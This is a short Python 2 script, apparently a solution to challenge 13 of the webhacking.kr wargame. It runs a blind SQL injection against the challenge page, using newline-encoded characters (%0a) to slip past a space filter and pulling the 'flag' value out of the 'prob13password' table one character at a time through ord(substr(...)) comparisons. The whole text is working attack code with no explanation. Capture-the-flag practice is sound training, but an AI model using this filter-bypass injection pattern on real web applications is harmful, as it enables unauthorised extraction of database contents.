webhacking.kr_13

import urllib2
session = ""
for y in range(1,50):
    for x in range(30, 128):
        url = "http://webhacking.kr/challenge/web/web-10/?no="+str(x)+"%0ain%0a(select%0aord(substr(max(flag),"+str(y)+",1))%0afrom%0aprob13password)"
        req = urllib2.Request(url)
        req.add_header("Cookie", "PHPSESSID=" + session)
        if(urllib2.urlopen(req).read().find("<td>0</td>") == -1):
            print chr(x),